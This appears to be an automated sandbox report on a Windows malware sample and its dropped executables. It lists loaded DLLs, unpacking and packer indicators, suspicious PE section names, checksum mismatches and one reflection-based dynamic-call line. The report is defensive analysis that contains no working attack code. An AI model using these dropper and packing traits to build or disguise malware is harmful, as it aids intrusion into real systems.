Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 8WRONDszv4.exe

Static file information: File size 1880064 > 1048576

Source: 8WRONDszv4.exe

Static PE information: Raw size of uubiypuf is bigger than: 0x100000 < 0x1a1000

Source:	Binary string: app_mobySetup.pdb source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr
Source:	Binary string: PE.pdb source: 2d537c36c0.exe, 0000000A.00000002.3268190643.00000000056D0000.00000004.08000000.00040000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\BuildAgent\work\6fe1ab573d75f9ba\src\DotNetOpenAuth.OpenId\obj\v4.0\Release\DotNetOpenAuth.OpenId.pdbd- source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\xevoEHqwR.pdb source: 2d537c36c0.exe, 0000000A.00000002.3268533384.0000000005950000.00000004.08000000.00040000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\BuildAgent\work\6fe1ab573d75f9ba\src\DotNetOpenAuth.OpenId\obj\v4.0\Release\DotNetOpenAuth.OpenId.pdb source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Unpacked PE file: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Unpacked PE file: 6.2.YHOCXQOWEM64H1IK2TUEH.exe.20000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Unpacked PE file: 13.2.99468ec718.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ddxegoij:EW;tcrohkzx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ddxegoij:EW;tcrohkzx:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: random[1].exe.8.dr

Static PE information: 0x913ACD1E [Mon Mar 18 19:25:18 2047 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x1ecc70
Source: 99468ec718.exe.8.dr	Static PE information: real checksum: 0x1de85e should be: 0x1da21b
Source: skotes.exe.6.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x1de85e should be: 0x1da21b
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: 2d537c36c0.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x1ecc70
Source: 8WRONDszv4.exe	Static PE information: real checksum: 0x1d69db should be: 0x1d5589
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: real checksum: 0x50b374 should be: 0x509bc7

Source: 8WRONDszv4.exe	Static PE information: section name:
Source: 8WRONDszv4.exe	Static PE information: section name: .idata
Source: 8WRONDszv4.exe	Static PE information: section name:
Source: 8WRONDszv4.exe	Static PE information: section name: uubiypuf
Source: 8WRONDszv4.exe	Static PE information: section name: pojmimjg
Source: 8WRONDszv4.exe	Static PE information: section name: .taggant
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name:
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name: .idata
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name: frhnetpr
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name: tbiteucn
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name: .taggant
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name:
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: .idata
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: guulvnfq
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: wreswaoh
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name: guulvnfq
Source: skotes.exe.6.dr	Static PE information: section name: wreswaoh
Source: skotes.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: ddxegoij
Source: random[1].exe0.8.dr	Static PE information: section name: tcrohkzx
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 99468ec718.exe.8.dr	Static PE information: section name:
Source: 99468ec718.exe.8.dr	Static PE information: section name: .idata
Source: 99468ec718.exe.8.dr	Static PE information: section name:
Source: 99468ec718.exe.8.dr	Static PE information: section name: ddxegoij
Source: 99468ec718.exe.8.dr	Static PE information: section name: tcrohkzx
Source: 99468ec718.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_05E13A13 pushfd ; retf	0_3_05E13A72
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693DB3 push FFFFFF9Ch; ret	0_3_01693DCA
